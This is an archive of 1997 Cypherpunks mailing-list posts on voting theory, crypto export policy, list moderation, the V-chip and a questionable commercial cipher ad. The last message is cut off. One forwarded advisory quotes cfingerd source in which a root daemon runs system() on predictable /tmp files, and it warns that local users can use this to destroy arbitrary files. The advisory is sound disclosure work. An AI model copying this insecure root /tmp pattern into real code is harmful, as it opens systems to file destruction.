> not traditionally seen as voting protocols such as Rabin's m/n
> secret sharing scheme), all excellent paper fodder.

Heh.  I was thinking more in terms of its value as a cascade trigger
to increasingly complex social organisms in the Internet implementation
space.  Representational democracies (republics, really) came about
because of rate limits on communication.  The US could not elect a
president by popular vote because there were no methods of verification,
and communication rates were limited by travel time.  Therefore, the
US has an Electoral College.  But a side effect of this structure is
a bias for bipartite seperation of interests, instead of seperation
into as many interest groups as it takes to do the job of mapping the
interest space.  This bias is not removed because the bipartite
interests have (and must continue to have) the power concentration.
This leads to continued "wasted vote syndrome", where people vote
for the lesser of two evils instead of voting their conscience... an
effect of mass psychology.  Similar pressures prevent the polling
times from being changed to opening at 8am EST and closing at 8am EST
to prevent early returns from earlier time zones influencing the
outcome of elections before people in later time zones have even voted.
For example, Ross Perot got almost 20% of the vote in the 1992
election, but 0% of the electors.  He would still have lost, given
the actual values.  There is actually a case in US history where the
winner of the electoral vote lost the popular vote... the president
was not chosen by the people, but by the electors.


> It would definitely attract a lot of welcome attention to FreeBSD.

It would be worth one or more articles in WIRED, actually, as well
as more scholarly sociology journals.  Maybe even "Wall Street Journal"
would run "Multinational Democratic State Declares Independence in
Cyberspace" or a similar silly headline.


> When viewed strictly as an experiment this idea has a lot
> of merit. If it actually pans out, then well and good, if not,
> then it could be used as some kind of Sawick poll.

Yep.  The reason I went weighted, by the way, was the volunteer
nature of the project.  In theory, number of vote tokens spent
should be proportional to willingness to actually volunteer.  As
you point out, there could be feedback here as well: for instance,
if a proposal passes, if it is completed, the tokens spent on
the vote could be refunded to those who voted for it.  If it dies
on the vine, the tokens could be refunded to those who voted
against it.  Being right would give you more license to participate,
and being wrong would not, etc..  Again, a matter for the initial
bylaws.


					Regards,
					Terry Lambert
					terry@lambert.org
---
Any opinions in this posting are my own and not those of my present
or previous employers.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven L Baur <steve@miranova.com>
Date: Thu, 23 Jan 1997 18:01:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: fingerd
Message-ID: <199701240201.SAA03902@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


snow  writes:

>> > Couple of things you can do:
>> >     2.  Install a more secure "fingerd" such that it only
>> >         allows "finger `userid@node.domain`" instead of
>> >         "finger `@node.domain`".

>     cfingerd can be gotten from:

cfingerd is not a safe program.  It must run as root, and has some big
problems.

Date: Wed, 18 Sep 1996 18:34:43 +0200 (MET DST)
From: Janos Farkas <chexum@shadow.banki.hu>
To: Administrador da Rede <admrede@opensite.com.br>
cc: linux-security@tarsier.cv.nrao.edu
Subject: Re: Finger Doubt
Message-ID: <Pine.LNX.3.95.960918181033.2523A-100000@shadow.banki.hu>


Howdy people!

On Tue, 17 Sep 1996, Administrador da Rede wrote:
> I use the newest version of cfinger, setted to not allow general finger, just
> specific ones. Does anyone knows how this person did that ? I hope I can
> find out, otherwise, bye bye finger service.

Badly.

I have sent the author a letter, but never got any reply back (it's 3
months later now!), so I just take the opportunity to warn the public
against its use.

Excerpts from the source (1.2.3, older versions have been a bit more
directly broken, now it has root privs only at the moments it shouldn't
have.)

	"This daemon must be run as root!"

[And unfortunately, does..]

...
	unlink ("/tmp/fslist");
...
        sprintf(st, "%s | tail +2 >> /tmp/fslist",
            prog_config.finger_program);
        ...
	system(st);

A similarly terrible one some lines later:

	system("cat /tmp/fslist | sort > /tmp/fslist.sort");

As it stands, it can allow any local user to destroy any file on the
system, including partition tables on disks.  Please someone correct me if
I am wrong, I tried this with cfingerd-1.2.2 and it allowed me to do bad
things.

I was a bit disappointed by the lack of any reply from the author, so I
think I am now justified to tell that

if anyone installed cfingerd (about 1.1 or later) on his system, disable
it IMMEDIATELY, until at least the author clarifies this bug in a new
version.  The current version is BAD.

However if you just need a finger daemon, you may take a look at xfingerd,
at
ftp://ftp.banki.hu:/pub/xfingerd/xfingerd-0.1.tar.gz
which is the one I wrote when I got desperate about cfingerd. (If you take
a look at its date stamp, you can see that cfingerd is long broken..)  I
too can't garantee that it's good for you, but it at least doesn't require
to be run as root, which is why I started being against cfingerd.

I hope this note finds everyone concerned.

Janos


-- 
steve@miranova.com baur
Unsolicited commercial e-mail will be billed at $250/message.
Real men aren't afraid to use chains on icy roads.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 23 Jan 1997 17:37:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Noise] From The Onion
Message-ID: <199701240137.RAA03221@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> SATAN TO REVISE BAR CODE SYSTEM 

[snip]

Not to be outdone, Satan's major competitor, Choronzon, Chief Demonic
Officer and only resident of the accursed 10th Aether of the Enochian
System, today announced his own plans for a system to label his mortal
followers and regulate their business transactions. 

"Stamping numbers on the foreheads and hands of individuals is primitive
technology," Choronzon explained, snapping his barbed tail, and emitting 
a sulphurous plume.  "We are pleased to announce our plans to identify
our followers using digital watermarking technology licensed from RSA
Data Security, Inc."

Implementation of the scheme, which will involve the encoding of a 
subtle full-body pattern into each individual by surface ablation with
high powered eximer lasers, will be managed by Choronzon's Supreme
Legate to the Material World, Jim Bidzos.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@Cor.sos.sll.se>
Date: Thu, 23 Jan 1997 12:04:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701232004.MAA24813@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 22 Jan 1997, Jim Choate wrote:

>The Web does not equal the Internet, straw man argument.

A semantic comment:

We here all know that this is right but it's obvious that
the language is sliding towards Internet = Web. Most people
using tcp/ip email don't think about this as using the Internet.
Another list I'm on has recently set up a Hypermail site on
the Web, mingling transparently with the list, for those who
are overwhelmed by 100 posts a day (it's a proffessional list
unrelated to computers per se). When people here about it they
say: 'Wow, I didn't know you had access to the list on the
Internet too!' It's treated the same on television, in the US as
well as here in Sweden, Internet = Web and nothing else.

It will be hard for us who have been around for a while, and
to fresh computer litterates who know something of what's behind
the screen, to relearn the use of the term 'Internet'. But we
will eventually have to accept it or become 'dinosaurs', that's
the way language evolution works.

Asgaard








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 23 Jan 1997 17:55:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701240155.RAA03742@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 23 Jan 1997 18:59:34 +0100 (MET)
> From: Asgaard <asgaard@Cor.sos.sll.se>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> >The Web does not equal the Internet, straw man argument.
> 
> A semantic comment:
> 
> We here all know that this is right but it's obvious that
> the language is sliding towards Internet = Web. Most people

Typical modern American attitude, getting it right is too much work so let's
lower the benchmark so anyone can be 'right'. You'll be supporting Ebonics
next.

Blah.


                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 23 Jan 1997 18:00:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701240200.SAA03843@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 23 Jan 1997 02:58:41 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> > If the people in those counties want to give away their freedom that
> > is their business (and right), not mine, yours, or this countries unless
> > there is evidence they are trying to take their views and impose them here.
> 
>   Right. And if someone 'chooses' to give their money to a thief with
> a gun, then it is not the business of other people, or the police.
>   I would hate to interfere with someones 'right' to get robbed,
> raped, or murdered.

This is a perfect example of why we disagree. You feel society has the same
responsibilities as an individual, I don't.

Countries and societies are a tightly linked concept because man is a social
animal. Trying to equate this to an individual who chooses to ignore the
moral, ethical, and legal standards of their society is a non-sequiter.


                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 23 Jan 1997 17:38:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: GOO_gol
Message-ID: <199701240138.RAA03280@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Richard Crandall, NeXT scientist, writes eloquently on large 
numbers in February SciAm. He cites cryptographic strength as
one result of research on the gargantuan googol and googolplex. 
He reviews current work on sieve techniques for factorization 
-- Quadratic, Number Field, Elliptic Curve Method and others -- 
as well as advanced algorithms. And exclaims:

   Blaine Garst, Doug Mitchell, Avadis Tevanian, Jr., and I
   implemented at NeXT what is one of the strongest -- if
   not the strongest -- encryption schemes available today,
   based on Mersenne primes. This patented scheme, termed
   Fast Elliptic Encryption (FEE), uses the algebra of
   elliptic curves, and it is very fast.

-----

GOO_gol


Thanks to PJP for pointing.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 23 Jan 1997 22:42:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: If you were unable to download UDCM V2.0 before....
Message-ID: <199701240642.WAA12217@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


{If you were unable to download UDCM V2.0 before, we're extremely sorry.}
{UDCM's web site may have been under construction during the time you
visited.}
{UDCM's web site has finished undergoing its changes and will operate
correctly.}
{UDCM V2.0 has been extensively modified from its previous variation.}
{Digital signaturing and public key cryptosystem capabilities have been
added.}
{UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
{UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
{UDCM's on-line help documentation has also been extensively modified.}
{This advertisement has also been modified.}

Hello,

Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
Engineering Technologies. I am sending you this message to let you know that
DataET Research has recently initiated the distribution of UDCM, Universal
Data Cryptography Module. UDCM implements a revolutionarily new, extremely
advanced and sophisticated, digital data encryption algorithm named IMDMP,
Integrated Mathematical Data Manipulation and Positioning.

UDCM (the IMDMP algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Contains more than 150 procedures and functions.
o Is a very cost-effective size of only 60 kilobytes.
o Implements the IMDMP encryption algorithm.
o Allows encryption keys as large as 2048 bits.
o Includes 18 sub-algorithms.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Includes time and date locking features. 
o Includes file specific unique encryption features.
o Includes file authentication guard features.
o Includes digital signaturing capabilities.
o Implements the public key cryptosystem method of security.
o Includes data importance and sensitivity stamping features.

UDCM, being a Windows DLL module, can be accessed through programs developed
with popular application and database programming languages and environments
such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 

DataET Research has released a shareware version of UDCM named UDCM V2.0.

To download UDCM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/udcm.html.

I hope you will consider applying UDCM in the software you develop. Thank-you
very much for your time.

Sincerely,

Jeremy K.Yu-Ramos
President
DataET Research
Data Engineering Technologies





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 23 Jan 1997 22:42:44 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: If you were unable to download UDCM V2.0 before....
Message-ID: <199701240642.WAA12223@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Ramos, 


You promised to release the algorithm of your program as well as
crypto-relevant source code. You promised to do it atfer a month, and
the time has come. We are eagerly awaiting the promised code.

Thank you so much for your openness.

igor

DataETRsch@aol.com wrote:
> 
> {If you were unable to download UDCM V2.0 before, we're extremely sorry.}
> {UDCM's web site may have been under construction during the time you
> visited.}
> {UDCM's web site has finished undergoing its changes and will operate
> correctly.}
> {UDCM V2.0 has been extensively modified from its previous variation.}
> {Digital signaturing and public key cryptosystem capabilities have been
> added.}
> {UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
> {UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
> {UDCM's on-line help documentation has also been extensively modified.}
> {This advertisement has also been modified.}
> 
> Hello,
> 
> Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
> Engineering Technologies. I am sending you this message to let you know that
> DataET Research has recently initiated the distribution of UDCM, Universal
> Data Cryptography Module. UDCM implements a revolutionarily new, extremely
> advanced and sophisticated, digital data encryption algorithm named IMDMP,
> Integrated Mathematical Data Manipulation and Positioning.
> 
> UDCM (the IMDMP algorithm)...
> 
> o Is a royalty-free Windows DLL module featuring advanced cryptography.
> o Contains more than 150 procedures and functions.
> o Is a very cost-effective size of only 60 kilobytes.
> o Implements the IMDMP encryption algorithm.
> o Allows encryption keys as large as 2048 bits.
> o Includes 18 sub-algorithms.
> o Processes all forms of binary and ASCII files.
> o Allows multiple encryption layer levels.
> o Has absolutely no back-doors or magical keys.
> o Includes time and date locking features. 
> o Includes file specific unique encryption features.
> o Includes file authentication guard features.
> o Includes digital signaturing capabilities.
> o Implements the public key cryptosystem method of security.
> o Includes data importance and sensitivity stamping features.
> 
> UDCM, being a Windows DLL module, can be accessed through programs developed
> with popular application and database programming languages and environments
> such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
> Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 
> 
> DataET Research has released a shareware version of UDCM named UDCM V2.0.
> 
> To download UDCM V2.0 for free, please go to:
> http://members.aol.com/dataetrsch/udcm.html.
> 
> I hope you will consider applying UDCM in the software you develop. Thank-you
> very much for your time.
> 
> Sincerely,
> 
> Jeremy K.Yu-Ramos
> President
> DataET Research
> Data Engineering Technologies
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Reiter <reiter@research.att.com>
Date: Thu, 23 Jan 1997 22:42:46 -0800 (PST)
To: reiter@research.att.com
Subject: 4th ACM Conference on Computer and Communications Security
Message-ID: <199701240642.WAA12224@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	

        *** EARLY REGISTRATION DISCOUNT ENDS JANUARY 31 ***



    Fourth ACM Conference on Computer and Communications Security
               (Preliminary Technical Program)
                     Zurich, Switzerland
                      April 1-4, 1997
                   Sponsored by ACM SIGSAC


For more information, including registration and hotel information,
see: http://www.zurich.ibm.ch/pub/Other/ACMsec/index.html


================
TUESDAY, APRIL 1
================

4 half-day tutorials in two parallel tracks:

		Theory Track			Practice Track

Morning     Cryptography		CERT and Practical Network Security
            Jim Massey, Ueli Maurer	Tom Longstaff
	    (ETH Zurich)		(Software Engineering Institute)

				lunch

Afternoon   Internet Security		Info-Wars
	    Refik Molva			Paul Karger
	    (Eurecom)			(IBM TJ Watson)

==================
WEDNESDAY, APRIL 2
==================

09:00-09:30 Introduction and Opening Comments
			Richard Graveman (Bellcore)
			Phil Janson (IBM Zurich Lab)
			Li Gong (JavaSoft)
			Clifford Neuman (Univ. of Southern California)

09:30-10:30 Invited talk 1: To Be Announced

10:30-11:00 Coffee Break

11:00-12:00 Session 1: Fair Exchange of Information
			Chair: Philippe Janson (IBM Zurich Lab)

* Fair Exchange with a Semi-Trusted Third Party
  Matthew Franklin, Mike Reiter (AT&T Research)

* Optimistic Protocols for Fair Exchange
  N. Asokan, Matthias Schunter, Michael Waidner
	(IBM Zurich Lab and Univ. Dortmund)

12:00-14:00 Lunch

14:00-15:30 Session 2: Language and System Security
			Chair: Michael Waidner (IBM Zurich Lab)

* Static Typing with Dynamic Linking
  Drew Dean (Princeton University)

* Secure Digital Names
  Scott Stornetta, Stuart Haber (Surety Technologies)

* A Calculus for Cryptographic Protocols: The Spi Calculus
  Martin Abadi, Andrew D. Gordon (DEC SRC and Cambridge)

15:30-16:00 Coffee Break

16:00-17:30 Panel 1: Programming Languages as a Basis for Security
			Chair: Drew Dean (Princeton)
			Panelists: To Be Announced

Welcome Cocktail

=================
THURSDAY, APRIL 3
=================

09:00-10:30 Session 3: Authentication
			Chair: Ravi Sandhu (George Mason Univ.)

* Authentication via Keystroke Dynamics
  Fabian Monrose, Avi Rubin (New York Univ. and Bellcore)

* Path Independence for Authentication in Large-Scale Systems
  Mike Reiter, Stuart Stubblebine (AT&T Research)

* Proactive Password Checking with Decision Trees
  Francesco Bergadano, Bruno Crispo, Giancarlo Ruffo
	(Univ. of Turin)

10:30-11:00 Coffee Break

11:00-12:00 Invited talk 2: To Be Announced

12:00-14:00 Lunch

14:00-15:30 Session 4: Signatures and Escrow
			Chair: Martin Abadi (DEC SRC)

* Verifiable Partial Key Escrow
  Mihir Bellare, Shafi Goldwasser (UC San Diego and MIT)

* New Blind Signatures Equivalent to Factorisation
  David Pointcheval, Jacques Stern (ENS/DMI, France)

* Proactive Public-Key and Signature Schemes
  Markus Jakobsson, Stanislaw Jarecki, Amir Herzberg,
	Hugo Krawczyk, Moti Yung (UC San Diego, MIT, IBM Haifa Lab,
	IBM TJ Watson, and Bankers Trust)

15:30-16:00 Coffee Break
 
16:00-17:30 Panel 2: Persistance and Longevity of Digital Signatures
			Chair: Gene Tsudik (USC/ISI)
			Panelists: To Be Announced

Banquet Dinner

===============
FRIDAY, APRIL 4
===============

09:00-10:30 Session 5: Commerce and Commercial Security
			Chair: Jacques Stern (ENS/DMI, France)

* A New On-Line Cash Check Scheme
  Robert H. Deng, Yongfei Han, Albert B. Jeng,
	Teow-Hin Ngair (National University of Singapore)

* Conditional Purchase Orders
  John Kelsey, Bruce Schneier (Counterpane Systems)

* The Specification and Implementation of 'Commercial' Security
	Requirements including Dynamic Segregation of Duties
  Simon Foley (University College, Cork, Ireland)

10:30-11:00 Coffee Break

11:00-12:30 Session 6: Cryptography
			Chair: Mike Reiter (AT&T Research)

* On the Importance of Securing Your Bins:
	The Garbage-Man-in-the-Middle Attack
  Marc Joye, Jean-Jacques Quisquater (Univ. Louvain)

* Improved Security Bounds for Pseudorandom Permutations
  Jacques Patarin (Bull)

* Asymmetric Fingerprinting for Larger Collusions
  Birgit Pfitzmann, Michael Waidner
	(Univ. Hildesheim and IBM Zurich Lab)

12:30 Conference Adjourns






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 23 Jan 1997 22:41:51 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: No Dimitri??
Message-ID: <199701240641.WAA12137@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> I have noticed that there has not been any post from Dimitri in a couple of
> days.
>
> I am assuming that this means that the list moderation has now started?

Yes - anything I say is junked irrespective of content.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Campbell <wcampbel@peganet.com>
Date: Thu, 23 Jan 1997 22:42:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commerce Sec. Hearings and Encryption
Message-ID: <199701240642.WAA12178@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


toto@sk.sympatico.ca wrote:
> Bill Campbell wrote:
> > 
> > I have been watching the confirmation hearings for William Daley,
> > and I was amazed at the number of references in the questioning
> > to encryption. I have been watching confirmation hearings for a long
> > time and have never noticed this much attention being placed on such
> > a (formerly?) obscure topic.
> 
>   It certainly looks like someone is gearing up for a battle in regard
> to cryto.
>   I find it very interesting that there would be a grand battle over
> 'exporting' what is already freely available overseas (and always
> will be, despite the export laws).

  This "freely available overseas" concept is a bit overstated.
France and other countries are beginning to come down hard
on encryption. (Also note the post from the guy in New
Zealand on the hassles exporting from his country.) The 
US now has a "Crypto Ambassador" roaming the world,
and I *don't* think he is encouraging an open common
encryption standard.

> I suppose that a cynic might
> be led to believe that perhaps the anti-export champions' agenda
> might be to make more convenient for the average joe to just
> give in and accept weak, government approved crypto.

  Cynic or realist, you make the call. <G> The average Joe
doesn't even know *why* he needs encryption...at least
not yet.

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl9.crl.com>
Date: Fri, 24 Jan 1997 05:59:59 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701241359.FAA24956@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 23 Jan 1997 ichudov@algebra.com wrote:

> Is it really true that my response was tossed out as flames?

a) NO posts have been "tossed out."  Your response was sorted
   into the "flames" list--not because it flamed directly, but
   because it was part of the threat started by Dimitri in which
   he engaged in flaming.  

b) While I realize this is a judgment call that others might 
   dispute, I don't think it makes much sense to post to the 
   moderated list only the parts of threads that are not flamish.  
   I would rather keep thread intact on one list or the other.  
   There are exceptions.  I put one of Dimitri's post on this 
   thread into the moderated list because the point he made did
   not require particular knowledge of the entire thread and had 
   non-inflamatory relevance.

> It was crypto-relevant.

Perhaps, but crypto-relevance is NOT the criterion by which I am
moderating the list.  I am sort on the basis of (a) emotional,
non-relevant personal attacks on list members, and (b) spam.  
I believe (and so far the postings have borne me out) that in an
atmosphere of civil, reasoned discourse, the relevance issue will
largely take care of itself.

By the way, contrary to what Dimitri has alleged, I have posted
every message from him in which he was able to restrain himself
with regard to gratuitous insults and/or spam.  In other words, 
the set of Dimitri posts that have appeared on the moderated list
is not the null set.

By the way number two, this response will be posted to the flames
list and NOT the moderated list.  Even though I have not flamed
anyone, two things keep it off the moderated list:  (1) my policy
about keeping thread on the same list where possible (see above),
and (2) basic precepts of fairness.  Though Dimitri has stated--
without a scintilla of evidence--that my moderation policy would
be used to attack him and not give him the opportunity or forum
to defend himself, I am keeping ALL personal attacks off the 
moderated list.  Those who are subscribed to the "flam" postings
can see numerous unkind posts about Dimitri that I have not 
allowed on the moderated list.  That policy applies to me just 
as much as to anyone else.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 23 Jan 1997 22:42:41 -0800 (PST)
To: abostick@netcom.com
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <199701240642.WAA12222@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"abostick@netcom.com"  "Alan Bostick" 23-JAN-1997 23:09:54.72

>In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
>Malcolm Gladwell, makes a powerful arguement about the unintended
>consequences of the V-Chip, the programmable device to be included in
>next-generation television sets sold in the US that supposedly will
>allow parents to control their children's access to sex and violence on
>TV.

>Gladwell makes an analogy between V-Chipped TV content and
>air-conditioned cars in the New York City subway system in summertime:
>" . . . we need air-conditioners on subway cars because air-conditioners
>on subway cars have made stations so hot that subway cars need to be
>air-conditioned."  Similarly, he argues, "the V-chip is likely to
>increase the amount of sex and violence on television, not decrease it"
>because when viewers can block offensive programming, there is far less
>pressure on broadcasters and cable operators to avoid offending.

	Personally, I'd view this as a positive development. The puritanical
types will be busily still protesting it, but without so many parents who
(falsely) believe their children will be harmed by exposure to sex, thus
dividing their efforts. Normally one would think that advertisers et al might
give in to a small number... but advertisers particularly suceptible to this
won't be sponsoring anything but G-rated shows anyway. (Of course, I view
the V-chip itself as a bad thing, but if it has an outcome opposite in at
least _some_ ways to the one intended by the neo-puritans, I can see the
silver lining.)

>And, for the benefit of those people who don't think the V-Chip isn't in
>itself on-topic for cypherpunks, I might point out that Gladwell's
>argument applies equally well to mail filtering with procmail recipes --
>or Sandy's and John's list moderation experiment.  If the noise level on
>the unmoderated list jumps to even higher than we were seeing before
>the moderation began, that would provide observational support to
>Gladwell's argument.

	An interesting question... although I'd point out that the degree of
social pressure against spamming et al appears to be ineffective. The herd-like
public (referring to the parents with their foolish fears and anyone else
brainwashed into believing the puritans/fundamentalists) can put pressure on
with their buying patterns... as yet such a market system is lacking in mailing
lists (except for putting people on filter lists, which probably exacerbates
the problem). In other words, there is no particular reason for the spammers et
al to desist even if people _are_ receiving their email.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fuck you <satan_is_a_hacker@juno.com>
Date: Thu, 23 Jan 1997 23:12:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701240712.XAA13326@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If anyone has any text files on the following topics please send them. I
have many files if any one else needs them.

PGP
Making decryption tools
Anarchy
Satan
Anything underground





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 24 Jan 1997 06:12:34 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <199701241412.GAA25303@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:57 PM 1/23/97 -0800, Alan Bostick wrote:

>In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
>Malcolm Gladwell, makes a powerful arguement about the unintended
>consequences of the V-Chip, the programmable device to be included in
>next-generation television sets sold in the US that supposedly will
>allow parents to control their children's access to sex and violence on
>TV.

While I think it's always useful to consider unintended (or otherwise
unexpected) consequences, Gladwell's argument sent a shiver down my spine
with its shameless paternalism. This bit (from roughly the middle of his
piece) is what I found creepiest:

"According to one recent study, somewhere between twenty and twenty-seven
per cent of the parents of four-to six-year-olds never restrict their
children's viewing hours, never decide what programs they can watch, never
change the channel when something objectionable comes on, and never forbid
the watching of certain programs. It has apparently never occurred to these
parents that television can be a bad influence, and it strains credulity to
think that the advent of the V-chip is going to wake them up. Yet their
families - mainly lower-income, ill-educated - are the very ones most in
need of protection from television violence. Here is a rearranging effect
with a vengeance: not only does the V-chip make television worse, it makes
television worse precisely for those already most vulnerable to its excesses."

I understood Gladwell's point to be, in essence, that the V-chip will allow
TV producers to generate higher levels of morally impure content which he
fears will pollute the minds of poor children because their parents are too
stupid to protect them from the harmful content and too poor to buy new
televisions which will include V-chips.

While I think 95% of broadcast TV is crap which isn't worth the time
expended watching it, even reading arguments like "poor people should be
protected from harmful ideas they're too stupid (or too poorly educated) to
avoid and too poor to purchase protection from" makes me feel dirty. I
don't think Gladwell is, in any meaningful way, an opponent of government
control of speech/expression - he's just an opponent of inefficient or
optional forms of government control of speech/expression.  He's a
reasonable writer, but he's chosen to use his powers for evil instead of
for good. (Some of his work is available on the web; apparently he once
worked as a reporter for the Washington Post and is now on the staff of the
New Yorker.)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 06:01:57 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Commerce Sec. Hearings and Encryption
Message-ID: <199701241401.GAA25011@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> 
> toto@sk.sympatico.ca wrote:
> > Bill Campbell wrote:
>   This "freely available overseas" concept is a bit overstated.
> France and other countries are beginning to come down hard
> on encryption.

  True. Perhaps I should have said "freely available, but it might
cost you more than you expect."
 
>   Cynic or realist, you make the call. <G> The average Joe
> doesn't even know *why* he needs encryption...at least
> not yet.

  The average joe is quickly becoming aware of the issue of data
security (and therefore being exposed to the 'concept' of 
encryption as something that will impact his life). Of course,
this is coming about as a result of commercial pressures to make
him feel safe about handing over his Visa number, etc.
  To me, this indicates that this is the opportune time to inject
a deeper level of understanding into the issue of crypto, at a
time when the average joe has his attention directed toward the
crypto arena.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 24 Jan 1997 05:59:14 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701241359.FAA24927@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I would like to start a thread to discuss the moderation and rejection 
policy.

My perfectly crypto-relevant article regarding possible attacks
on human relationships with the use of forged mail and anonymous
remailers, has been tossed out (sorted) into cypherpunks-flames 
mailing list.

You can receive a copy of my article by an email request.

The explanation that Sandy Sandfort gave me mentioned that he rejected
my message because it continued a thread where Sandy noticed instances
of "flaming". Note that my message was free of any flames, including
its quoted part.

Sandy also states rather plainly that crypto-relevance is not the
criterion by which he moderates this list. I question this policy.

I would like to hear your opinions as to whether such policies satisfy
the current readership.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 05:58:43 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701241358.FAA24907@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:

